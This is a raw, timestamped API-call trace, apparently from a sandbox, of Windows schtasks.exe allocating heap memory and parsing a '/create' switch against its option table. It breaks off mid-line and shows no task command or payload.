[0126.709] GetProcessHeap () returned 0x1769e910000 [0126.709] GetProcessHeap () returned 0x1769e910000 [0126.709] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e91b5c0) returned 1 [0126.709] GetProcessHeap () returned 0x1769e910000 [0126.709] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e91b5c0) returned 0x20 [0126.710] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e91b5c0) returned 1 [0126.710] GetProcessHeap () returned 0x1769e910000 [0126.710] GetProcessHeap () returned 0x1769e910000 [0126.710] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e913c00) returned 1 [0126.710] GetProcessHeap () returned 0x1769e910000 [0126.710] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e913c00) returned 0x8 [0126.710] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e913c00) returned 1 [0126.710] GetProcessHeap () returned 0x1769e910000 [0126.710] GetProcessHeap () returned 0x1769e910000 [0126.710] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e91b380) returned 1 [0126.710] GetProcessHeap () returned 0x1769e910000 [0126.710] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e91b380) returned 0x20 [0126.711] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e91b380) returned 1 [0126.711] GetProcessHeap () returned 0x1769e910000 [0126.711] GetProcessHeap () returned 0x1769e910000 [0126.711] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e91a900) returned 1 [0126.711] GetProcessHeap () returned 0x1769e910000 [0126.711] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e91a900) returned 0x10 [0126.711] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e91a900) returned 1 [0126.711] GetProcessHeap () returned 0x1769e910000 [0126.711] GetProcessHeap () returned 0x1769e910000 [0126.711] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e91b950) returned 1 [0126.711] GetProcessHeap () returned 0x1769e910000 [0126.711] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e91b950) returned 0x20 [0126.711] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e91b950) returned 1 [0126.712] GetProcessHeap () returned 0x1769e910000 [0126.712] GetProcessHeap () returned 0x1769e910000 [0126.712] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e913c20) returned 1 [0126.712] GetProcessHeap () returned 0x1769e910000 [0126.712] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e913c20) returned 0x6 [0126.712] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e913c20) returned 1 [0126.712] GetProcessHeap () returned 0x1769e910000 [0126.712] GetProcessHeap () returned 0x1769e910000 [0126.712] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e91b5f0) returned 1 [0126.712] GetProcessHeap () returned 0x1769e910000 [0126.712] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e91b5f0) returned 0x20 [0126.712] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e91b5f0) returned 1 [0126.712] GetProcessHeap () returned 0x1769e910000 [0126.712] GetProcessHeap () returned 0x1769e910000 [0126.712] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e914e90) returned 1 [0126.713] GetProcessHeap () returned 0x1769e910000 [0126.713] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e914e90) returned 0x18 [0126.713] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e914e90) returned 1 [0126.713] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.713] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0126.713] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0126.713] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0126.713] RtlVerifyVersionInfo (VersionInfo=0x476069c450, TypeMask=0x3, ConditionMask=0x800000000001801b) returned 0x0 [0126.713] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.713] lstrlenW (lpString="create") returned 6 [0126.713] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0126.713] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.713] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.713] lstrlenW (lpString="create") returned 6 [0126.713] GetProcessHeap () returned 0x1769e910000 [0126.713] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0x20) returned 0x1769e91b9b0 [0126.713] GetProcessHeap () returned 0x1769e910000 [0126.714] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0x18) returned 0x1769e91a9e0 [0126.714] _memicmp (_Buf1=0x1769e91a9e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.714] GetProcessHeap () returned 0x1769e910000 [0126.714] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0x16) returned 0x1769e91ab00 [0126.714] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.714] _memicmp (_Buf1=0x1769e914c30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.714] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1769e919b10, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0126.714] GetFileVersionInfoSizeExW (in: dwFlags=0x1, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x476069c5a8 | out: lpdwHandle=0x476069c5a8) returned 0x76c [0126.714] GetProcessHeap () returned 0x1769e910000 [0126.714] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0x776) returned 0x1769e91bd50 [0126.714] GetFileVersionInfoExW (in: dwFlags=0x3, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x776, lpData=0x1769e91bd50 | out: lpData=0x1769e91bd50) returned 1 [0126.715] VerQueryValueW (in: pBlock=0x1769e91bd50, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x476069c540, puLen=0x476069c5a0 | out: lplpBuffer=0x476069c540*=0x1769e91c100, puLen=0x476069c5a0) returned 1 [0126.715] _memicmp (_Buf1=0x1769e914c30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.715] _vsnwprintf (in: _Buffer=0x1769e919b10, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x476069c518 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0126.715] VerQueryValueW (in: pBlock=0x1769e91bd50, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x476069c530, puLen=0x476069c598 | out: lplpBuffer=0x476069c530*=0x1769e91bf30, puLen=0x476069c598) returned 1 [0126.715] lstrlenW (lpString="schtasks.exe") returned 12 [0126.715] lstrlenW (lpString="schtasks.exe") returned 12 [0126.715] lstrlenW (lpString=".EXE") returned 4 [0126.789] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0126.789] lstrlenW (lpString="schtasks.exe") returned 12 [0126.789] lstrlenW (lpString=".EXE") returned 4 [0126.789] lstrlenW (lpString="schtasks") returned 8 [0126.789] lstrlenW (lpString="/create") returned 7 [0126.789] _memicmp (_Buf1=0x1769e914c30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.789] _vsnwprintf (in: _Buffer=0x1769e919b10, _BufferCount=0x19, _Format="%s %s", _ArgList=0x476069c518 | out: _Buffer="schtasks /create") returned 16 [0126.789] _memicmp (_Buf1=0x1769e914c50, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.789] GetProcessHeap () returned 0x1769e910000 [0126.789] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0x20) returned 0x1769e91b5c0 [0126.789] _memicmp (_Buf1=0x1769e914c70, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.789] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x1769e91bb40, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0126.789] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0126.789] GetProcessHeap () returned 0x1769e910000 [0126.789] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0x30) returned 0x1769e9146f0 [0126.789] _vsnwprintf (in: _Buffer=0x1769e913870, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x476069c518 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0126.790] GetProcessHeap () returned 0x1769e910000 [0126.790] GetProcessHeap () returned 0x1769e910000 [0126.790] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e91bd50) returned 1 [0126.790] GetProcessHeap () returned 0x1769e910000 [0126.790] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e91bd50) returned 0x776 [0126.791] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e91bd50) returned 1 [0126.791] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.791] GetThreadLocale () returned 0x409 [0126.791] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0126.791] lstrlenW (lpString="create") returned 6 [0126.791] GetThreadLocale () returned 0x409 [0126.791] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0126.791] lstrlenW (lpString="?") returned 1 [0126.791] GetThreadLocale () returned 0x409 [0126.791] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0126.791] lstrlenW (lpString="s") returned 1 [0126.791] GetThreadLocale () returned 0x409 [0126.791] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0126.791] lstrlenW (lpString="u") returned 1 [0126.791] GetThreadLocale () returned 0x409 [0126.791] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0126.791] lstrlenW (lpString="p") returned 1 [0126.791] GetThreadLocale () returned 0x409 [0126.791] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0126.791] lstrlenW (lpString="ru") returned 2 [0126.791] GetThreadLocale () returned 0x409 [0126.791] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0126.791] lstrlenW (lpString="rp") returned 2 [0126.791] GetThreadLocale () returned 0x409 [0126.791] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0126.791] lstrlenW (lpString="sc") returned 2 [0126.791] GetThreadLocale () returned 0x409 [0126.791] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0126.792] lstrlenW (lpString="mo") returned 2 [0126.792] GetThreadLocale () returned 0x409 [0126.792] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0126.792] lstrlenW (lpString="d") returned 1 [0126.792] GetThreadLocale () returned 0x409 [0126.792] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0126.792] lstrlenW (lpString="m") returned 1 [0126.792] GetThreadLocale () returned 0x409 [0126.792] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0126.792] lstrlenW (lpString="i") returned 1 [0126.792] GetThreadLocale () returned 0x409 [0126.792] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0126.792] lstrlenW (lpString="tn") returned 2 [0126.792] GetThreadLocale () returned 0x409 [0126.792] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0126.792] lstrlenW (lpString="tr") returned 2 [0126.792] GetThreadLocale () returned 0x409 [0126.792] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0126.792] lstrlenW (lpString="st") returned 2 [0126.792] GetThreadLocale () returned 0x409 [0126.792] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0126.792] lstrlenW (lpString="sd") returned 2 [0126.792] GetThreadLocale () returned 0x409 [0126.792] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0126.792] lstrlenW (lpString="ed") returned 2 [0126.792] GetThreadLocale () returned 0x409 [0126.792] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0126.792] lstrlenW (lpString="it") returned 2 [0126.792] GetThreadLocale () returned 0x409 [0126.792] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0126.792] lstrlenW (lpString="et") returned 2 [0126.793] GetThreadLocale () returned 0x409 [0126.793] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0126.793] lstrlenW (lpString="k") returned 1 [0126.793] GetThreadLocale () returned 0x409 [0126.793] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0126.793] lstrlenW (lpString="du") returned 2 [0126.793] GetThreadLocale () returned 0x409 [0126.793] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0126.793] lstrlenW (lpString="ri") returned 2 [0126.793] GetThreadLocale () returned 0x409 [0126.793] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0126.793] lstrlenW (lpString="z") returned 1 [0126.793] GetThreadLocale () returned 0x409 [0126.793] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0126.793] lstrlenW (lpString="f") returned 1 [0126.793] GetThreadLocale () returned 0x409 [0126.793] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0126.793] lstrlenW (lpString="v1") returned 2 [0126.793] GetThreadLocale () returned 0x409 [0126.793] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0126.793] lstrlenW (lpString="xml") returned 3 [0126.793] GetThreadLocale () returned 0x409 [0126.793] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0126.794] lstrlenW (lpString="ec") returned 2 [0126.794] GetThreadLocale () returned 0x409 [0126.794] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0126.794] lstrlenW (lpString="rl") returned 2 [0126.794] GetThreadLocale () returned 0x409 [0126.794] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0126.794] lstrlenW (lpString="delay") returned 5 [0126.794] GetThreadLocale () returned 0x409 [0126.794] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0126.794] lstrlenW (lpString="np") returned 2 [0126.794] GetThreadLocale () returned 0x409 [0126.794] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0126.794] lstrlenW (lpString="hresult") returned 7 [0126.794] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.794] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.794] lstrlenW (lpString="/create") returned 7 [0126.794] lstrlenW (lpString="-/") returned 2 [0126.794] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0126.794] lstrlenW (lpString="create") returned 6 [0126.794] lstrlenW (lpString="create") returned 6 [0126.794] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.794] lstrlenW (lpString="create") returned 6 [0126.794] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.794] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|create|") returned 8 [0126.794] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|create|") returned 8 [0126.794] lstrlenW (lpString="|create|") returned 8 [0126.794] lstrlenW (lpString="|create|") returned 8 [0126.794] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0126.794] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.795] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.795] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.795] lstrlenW (lpString="/tn") returned 3 [0126.795] lstrlenW (lpString="-/") returned 2 [0126.795] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0126.795] lstrlenW (lpString="create") returned 6 [0126.795] lstrlenW (lpString="create") returned 6 [0126.795] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.795] lstrlenW (lpString="tn") returned 2 [0126.795] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.795] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|create|") returned 8 [0126.795] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|tn|") returned 4 [0126.795] lstrlenW (lpString="|create|") returned 8 [0126.795] lstrlenW (lpString="|tn|") returned 4 [0126.795] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0126.795] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.795] lstrlenW (lpString="?") returned 1 [0126.795] lstrlenW (lpString="?") returned 1 [0126.795] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.795] lstrlenW (lpString="tn") returned 2 [0126.795] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.795] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|?|") returned 3 [0126.795] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|tn|") returned 4 [0126.795] lstrlenW (lpString="|?|") returned 3 [0126.795] lstrlenW (lpString="|tn|") returned 4 [0126.795] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.795] lstrlenW (lpString="s") returned 1 [0126.796] lstrlenW (lpString="s") returned 1 [0126.796] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.796] lstrlenW (lpString="tn") returned 2 [0126.796] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.796] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|s|") returned 3 [0126.796] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|tn|") returned 4 [0126.796] lstrlenW (lpString="|s|") returned 3 [0126.796] lstrlenW (lpString="|tn|") returned 4 [0126.796] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.796] lstrlenW (lpString="u") returned 1 [0126.796] lstrlenW (lpString="u") returned 1 [0126.796] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.796] lstrlenW (lpString="tn") returned 2 [0126.796] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.796] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|u|") returned 3 [0126.796] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|tn|") returned 4 [0126.796] lstrlenW (lpString="|u|") returned 3 [0126.796] lstrlenW (lpString="|tn|") returned 4 [0126.796] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.796] lstrlenW (lpString="p") returned 1 [0126.796] lstrlenW (lpString="p") returned 1 [0126.796] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.796] lstrlenW (lpString="tn") returned 2 [0126.796] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.796] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|p|") returned 3 [0126.796] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|tn|") returned 4 [0126.796] lstrlenW (lpString="|p|") returned 3 [0126.796] lstrlenW (lpString="|tn|") returned 4 [0126.797] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.797] lstrlenW (lpString="ru") returned 2 [0126.797] lstrlenW (lpString="ru") returned 2 [0126.797] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.797] lstrlenW (lpString="tn") returned 2 [0126.797] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.797] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|ru|") returned 4 [0126.797] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|tn|") returned 4 [0126.797] lstrlenW (lpString="|ru|") returned 4 [0126.797] lstrlenW (lpString="|tn|") returned 4 [0126.797] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0126.797] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.797] lstrlenW (lpString="rp") returned 2 [0126.797] lstrlenW (lpString="rp") returned 2 [0126.797] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.797] lstrlenW (lpString="tn") returned 2 [0126.797] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.797] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|rp|") returned 4 [0126.797] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|tn|") returned 4 [0126.797] lstrlenW (lpString="|rp|") returned 4 [0126.797] lstrlenW (lpString="|tn|") returned 4 [0126.797] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0126.797] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.797] lstrlenW (lpString="sc") returned 2 [0126.797] lstrlenW (lpString="sc") returned 2 [0126.797] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.797] lstrlenW (lpString="tn") returned 2 [0126.797] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.798] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|sc|") returned 4 [0126.798] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|tn|") returned 4 [0126.798] lstrlenW (lpString="|sc|") returned 4 [0126.798] lstrlenW (lpString="|tn|") returned 4 [0126.798] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0126.798] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.798] lstrlenW (lpString="mo") returned 2 [0126.798] lstrlenW (lpString="mo") returned 2 [0126.798] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.798] lstrlenW (lpString="tn") returned 2 [0126.798] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.798] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|mo|") returned 4 [0126.798] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|tn|") returned 4 [0126.798] lstrlenW (lpString="|mo|") returned 4 [0126.798] lstrlenW (lpString="|tn|") returned 4 [0126.798] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0126.798] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.798] lstrlenW (lpString="d") returned 1 [0126.798] lstrlenW (lpString="d") returned 1 [0126.798] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.798] lstrlenW (lpString="tn") returned 2 [0126.798] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.798] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|d|") returned 3 [0126.798] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|tn|") returned 4 [0126.798] lstrlenW (lpString="|d|") returned 3 [0126.798] lstrlenW (lpString="|tn|") returned 4 [0126.798] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.799] lstrlenW (lpString="m") returned 1 [0126.799] lstrlenW (lpString="m") returned 1 [0126.799] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.799] lstrlenW (lpString="tn") returned 2 [0126.799] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.799] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|m|") returned 3 [0126.799] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|tn|") returned 4 [0126.799] lstrlenW (lpString="|m|") returned 3 [0126.799] lstrlenW (lpString="|tn|") returned 4 [0126.799] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.799] lstrlenW (lpString="i") returned 1 [0126.799] lstrlenW (lpString="i") returned 1 [0126.799] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.799] lstrlenW (lpString="tn") returned 2 [0126.799] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.799] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x476069c528 | out: _Buffer="|i|") returned 3 [0126.799] _vsnwprintf (in: _Buffer=0x1769e9143b0, 